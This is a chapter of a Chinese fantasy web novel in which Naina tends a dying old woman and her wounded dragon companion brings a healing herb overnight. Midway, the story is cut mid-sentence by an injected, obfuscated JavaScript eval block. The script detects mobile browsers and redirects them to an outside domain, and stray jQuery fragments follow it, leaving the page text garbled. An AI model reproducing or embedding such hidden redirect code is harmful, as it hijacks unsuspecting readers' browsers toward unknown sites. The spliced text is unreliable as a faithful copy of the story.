奈奈呆呆地望着一袭天青色宗服,清雅出尘的年轻男人。
他的剑还插在婴灵的心口,而他手里把玩着一支玉白的短笛,闲庭信步,仿佛只是出来散步。
近了,他眸光温和:“师妹,你还好吧?”
奈奈没想到会在这种时候与他重逢,有些无措地点点头:“好久不见,二师兄。”
没想到那么多年不见,一见面却是这样狼狈的场景,就连重逢的开场白都寡淡无味。
沈清昀洒然笑了一下,左侧旋出的酒窝若隐若现。
他一抬手,那柄曾经斩杀过无数次妖邪的古剑青冥重新回到背后的剑鞘,发出阵阵铮鸣之声。
而婴灵身上的衣裳瞬间四分五裂,那两只颜色不一的鞋子一只落在屋顶,一只掉进鸡笼里,滑稽得很。
奈奈终于看清了他真实的模样。
那已经不是一个完整的人形。
全身上下的肉像是被什么怪兽啃干净了,留下一副瘦骨嶙峋的白骨架子,五脏六腑也被啃得七七八八,心脏的位置被灵曦之心代替,唯有脑袋还是完好的。
皮肤青白,单眼皮,鼻梁有些塌,嘴巴白得没有血色,并不算漂亮。
但那对瞳仁又大又黑,看得她心里很疼。
也许,脑袋也被啃了,他只是不想给人瞧见。
奈奈动了动唇,嗓音有些沙哑:“为何会出来?”
她完全没想到婴灵会真的和大宝交换身体。
事实上,如果他不肯出来,谁拿他没办法。
婴灵闻言,垂睫看向大宝。
她已经挣脱欧阳久久的怀抱,手脚并用地爬向祖母,伸出手去堵她嘴里的血。
可那血就像是开了闸,两只小小的手掌怎么都堵不住,大口大口的鲜血从祖母的嘴里涌出来。
“祖母,祖母,你别睡,你醒醒!”
赵大娘吃力地睁开眼,颤巍巍地抓住她被血染红的手掌,气息奄奄,“你说说你,叫你,躲远些,你总不听话,将来可怎么办呀。”
大宝把脸贴在她皱巴巴的脸上,哭道:“大宝以后都听话,大宝再也不闯祸了!”
赵大娘低声在她耳边说:“我,箱子里有,有些钱,给你,存的嫁妆……还有,还有生辰,礼物……”
交代完,浑浊的眼珠子转向吓傻了的余氏,哀求:“她,好歹叫你一声娘,对她好点。”
直到余氏点了头,这个操心了一辈子的老妪终于放心阖上了眼。
那只枯瘦如爪的手还紧紧地握住孙女的手。
大宝这回怎么都叫不醒她,张大嘴巴哭,鼻涕眼泪横流,却一点儿声音也发不出。
婴灵收回视线,咧嘴一笑,鲜血大口大口地溢出。
他一脸倔强地说:“我们小孩子,才不会骗小孩子。大人,都是骗子!”
说完,那副残破不堪的身体化作齑粉,随风而散。
血一样红的灵曦之心悬浮在半空。
两只雪白的手同时伸向半空。
欧阳久久握住了灵曦之心。
随即她的掌心像是被热油浇过,火燎燎得疼。
她本能松开手。
那枚碎片再次飞入半空,犹如一滴血洒在暮色里。
她心中大骇,不甘心地将灵力汇于掌心,再次伸出手。
这一回,灵曦之心老实地被她握住。
她长舒一口气,看向奈奈。
此刻,一只木雕的大肚子小红鸭,静静地躺在她的掌心。
“原来你更喜欢小鸭子……”
她喃喃。
话音刚落,“轰隆一声”雷鸣,豆大的雨滴簌簌落下,在地面上敲打出一片片铜钱。
沈清昀抬头看向阴沉沉的天,总觉得那乌云深处藏了一对眼睛。
欧阳久久也感受到了那强大的,令人胆寒的力量,蹙眉:“明明刚才还什么都没有。”说着要去追,被沈清昀拦住。
沈清昀:“已经走了。”
欧阳久久用灵力探了一下,那股力量居然一瞬间消失得无影无踪,真是怪异。
两人齐齐把眸光投向奈奈。
她单膝跪在赵大娘身侧,手掌向下,轻轻地拂过她的身体。
一旁终于反应过来的赵旺嗷一嗓子唤了一声“娘啊”,冲过去要抱她。
“别碰她!”
奈奈制止,神色凝重,“她全身骨头都碎了,你一动,骨头要是戳进脏器,立刻就没命了。”
赵旺哭道:“花医师求求你救救我娘,我娘没享过我一天福!”
欧阳久久问:“可需要什么草药?”
奈奈沉默片刻:“《九洲异闻录》有记载,极北之地有一处雪山,山顶长着一种名为仙凝草的仙草,能够骨骼再生。”
欧阳久久:“那我和二师弟这就去!”
“来不及了!”奈奈摇头,“就算御剑来回也得两天来回,以她的身子骨,根本撑不了那么久。”
“那怎么办?”
“我突然想起我家里好像有这种药,我回去找一找。”
奈奈从随身携带的香囊里取出一枚药丸塞进赵大娘口中:“这丹药能够护她心脉五个时辰,在我回来之前,大师姐和二师兄就守在这儿。记住,千万不要挪动她。”
不等欧阳久久答应下来,她背起相箧冒雨出了院子。
天已经黑了,再加上下雨,山路湿滑难行。
奈奈赶回家时,全身都湿透了。
她衣裳都没换,直奔药庐,从摆放医学典籍的书架上翻出那本《九洲异闻录》,迅速地往后翻,一直翻到记载有仙凝草的那一页,折叠起来,拿着书匆匆回屋。
出乎意料,小龙精竟还没睡。
“他”冷冷地盯着她,似乎有些不大高兴了。
奈奈想起前天答应带酒回来,结果给忘了。
今天早上她出门的时候,又信誓旦旦答应“他”会早些回家,结果又回来那么晚。
婴灵说得对,大人们总是说话不算话。
她默默上前点灯。
汽灯炙热的光逐渐填满整间屋子,驱走几分寒意。
小龙精的眸光落在她脚上。
奈奈这这才发现自己没拖鞋,樱桃木地板上全都是泥脚印。
一滴水落下来,砸在地板上。
是她额前的发在滴水。
也许小龙精不是生她的气。
是她实在太狼狈了。
奈奈动作缓慢地脱掉满是泥泞的鞋袜,把它们摆放在屋檐下,又拿起毛巾一点点拧干头发。
换上干燥的睡裙后,她慢慢地走到床边,伸手去摸小龙精。
他偏过脸,避开她的手。
她垂下眼皮,轻轻揉搓着右手掌心。
“赵大娘快要死了。”她平静地说。
“我需要仙凝草来救她。仙凝草生长在极北之地的雪山。长这样。”
她从怀里掏出《九洲异闻录》,打开折好的那一页,尽量让小龙精看得清楚些。
“我知道有些难,可我不想她死。她孙女还那么小,没有娘亲的孩子很可怜的。我们凡人有一句俗话,叫做宁要讨饭的娘,不要当官的爹。”
“至少,让她再多活十年,让她看着孙女出嫁。”
她兀自念叨,眼皮低垂着,有些不敢看向小龙精。
虽然她先前犯懒,也曾和小龙精念叨过一些长在深山的草药。
每次念叨后,第二天也总能出现在家里。
可仙凝草不同。
且不说崖顶上守着以仙凝草为食的千年大妖啼蛇,就连大师姐和二师兄那样修为的人都没办法在一日内赶到。
她却指望一条受了伤的小龙精。
但她没有别的办法了。
她讨厌欠人家的情。
这些年她四处流浪,从不在一个地方久待,也不会和任何人产生联系。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427551|184854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
云上城是她待过最久的地方。
她初到此处,治好了城东刘木匠媳妇儿的不孕不育,对方非要把镇店之宝——红木妆奁台送给她。
“女孩子将来成婚,一定要有这个,免得被夫家瞧不起。”那个温婉的女子拉着她的手说道。
也许这句话开了头,从那以后,好多病患都要给她添嫁妆。
更夸张的是有一个家里世代做泥瓦匠的,趁她不在,把她的茅草屋推倒,一家子帮她盖了三间房子,外带一个院子。
“姑娘家没有房子哪能行!”那个憨厚的黑脸汉子搓着手笑。
以至于她在云上城一留再留。
甚至觉得死在这儿也挺好的。
现在,她又吃了赵大娘特地为她包的粽子,欠下了天大的人情,得还。
小龙精瞥了一眼她手里的图册,并没什么反应。
奈奈也不知道“他”有没有答应,但她能做的只有等。
她在他身旁躺下,阖上眼睛,期待就像从前每一次那样,第二天只要睁开眼,桌子上就会放着她的“愿望”。
时间一点一滴地流逝。
她怎么都睡不着,又瞟了一眼小龙精。
小龙精双眼紧闭,不知究竟是睡了没有。
她坐起身,从桌上的药囊里摸出一粒塞进嘴里,重新躺回去。
药很苦。
被009遗弃后,她曾患上了很严重的失眠症,整夜整夜睡不着,于是研制出了这种小药丸。
她称之为“一刻还乡”。
因为只要吃下去,不超过一刻钟绝对能够睡着。
果然,药丸咽下去不久,她意识逐渐地飘忽,很快呼吸绵长。
许久之后,一只白若冰雕的大手探出纱帐外,拿起那本厚厚的《九洲异闻录》,撕下折叠的那一页。
高大雪白的身影缓缓地站起来。
所到之处,无数的银莲争先恐后地绽放,簇拥着主人向外走去。
房门轻轻地打开。
还在下雨,夜色浓稠如墨。
“去。”
他打了个响指,嗓音低沉懒散。
转瞬间,银莲拥着那张书页转化作万千银点,消散在寒风里。
天亮了。
奈奈缓缓地睁开眼。
这一夜她居然无梦到天亮。
她怔怔望着月白色的帐顶,昨天发生的事儿一瞬间涌入脑海。
她下意识地看向小龙精。
“他”还在睡。
她深吸一口气,将眸光投向红木桌子。
桌上一株晶莹若雪的四叶草赫然出现在眼帘里。
四片叶子居然还挂着一滴晶莹剔透的露珠,像刚摘的。
天呐!
小龙精真的可以!
其实她先前不是没有怀疑过,那些点心零食是小龙精趁她睡着时去偷来的,草药是“他”帮忙挖的。
这世上哪有什么能够许愿的龙精啊,她翻遍整个《九洲异闻录》没有见过过这种龙类。
再说,“他”要真能许愿,那为什么不许愿求个宝贝平安地渡过雷劫,也不至于被雷劈成焦炭,月满之夜需要她的血液才能熬过去。
所以她每次经过点心铺时,总会绕道而行。
偶尔看见卖糖葫芦的小商贩,心里会莫名地心虚。
可有个“人”愿意“偷”东西哄她,她心里很高兴。
如今“他”居然连仙凝草都能弄来,这不得不让她坚信:小龙精真的是货真价实的许愿龙!
奈奈激动得脸都红了,一把抱住小龙精,“啪唧”在“他”左眼皮上重重亲了一下口。
“龙兄,你真是我见过最有男子气概的龙!”
她小心翼翼地拿起那株冰雪一般脆弱的仙凝草,头也不回地出了屋子。
直到房门关上,他缓缓地抬起被她亲湿的眼皮。
片刻后,又恹恹地阖上眼。